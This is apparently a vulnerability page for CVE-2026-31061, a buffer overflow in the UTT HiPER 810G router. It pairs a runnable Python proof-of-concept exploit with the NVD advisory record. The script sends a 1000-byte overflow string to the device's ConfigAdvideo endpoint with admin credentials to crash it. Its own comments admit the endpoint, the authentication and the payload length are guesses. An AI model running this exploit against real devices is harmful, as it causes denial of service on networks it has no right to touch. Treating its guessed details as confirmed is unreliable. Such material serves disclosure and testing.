CVE-2026-31061

import requests def exploit_poc(target_ip, admin_password): """ Proof of Concept for CVE-2026-31061 Target: UTT Aggressive HiPER 810G Vulnerability: Buffer Overflow in ConfigAdvideo timestart parameter """ # The endpoint might be under /goform or similar, adjust based on actual firmware analysis url = f"http://{target_ip}/goform/ConfigAdvideo" # Prepare headers (Authentication might be required via Cookie or Basic Auth) headers = { "Cookie": f"AdminCookie={admin_password}", # Example auth header "User-Agent": "Mozilla/5.0" } # Construct payload: A long string to trigger the buffer overflow # Adjust the length (e.g., 1000 bytes) based on the specific buffer size overflow_payload = "A" * 1000 # Data parameters data = { "timestart": overflow_payload } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, headers=headers, data=data, timeout=5) if response.status_code == 200 or response.status_code == 500: print("[+] Request sent. Check if the device has crashed (DoS).") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: # If the device crashes immediately, the connection might reset or timeout print("[!] Connection error or timeout occurred. The device might have crashed.") print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target IP and auth credentials target = "192.168.1.1" creds = "password123" exploit_poc(target, creds)

{"cve": {"id": "CVE-2026-31061", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:08.487", "lastModified": "2026-04-10T18:21:50.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "UTT Aggressive HiPER 810G v3v1.7.7-171114 was discovered to contain a buffer overflow in the timestart parameter of the ConfigAdvideo function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:utt:810g_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.7-171114", "matchCriteriaId": "EACA25AC-9976-4066-A6C6-6C2CA6D37BE3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:utt:810g:3.0:*:*:*:*:*:*:*", "matchCriteriaId": "5C6B1A13-F7CD-422E-A90E-8020D076FC4A"}]}]}], "references": [{"url": "https://github.com/zxq0408/Vul202601/blob/main/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}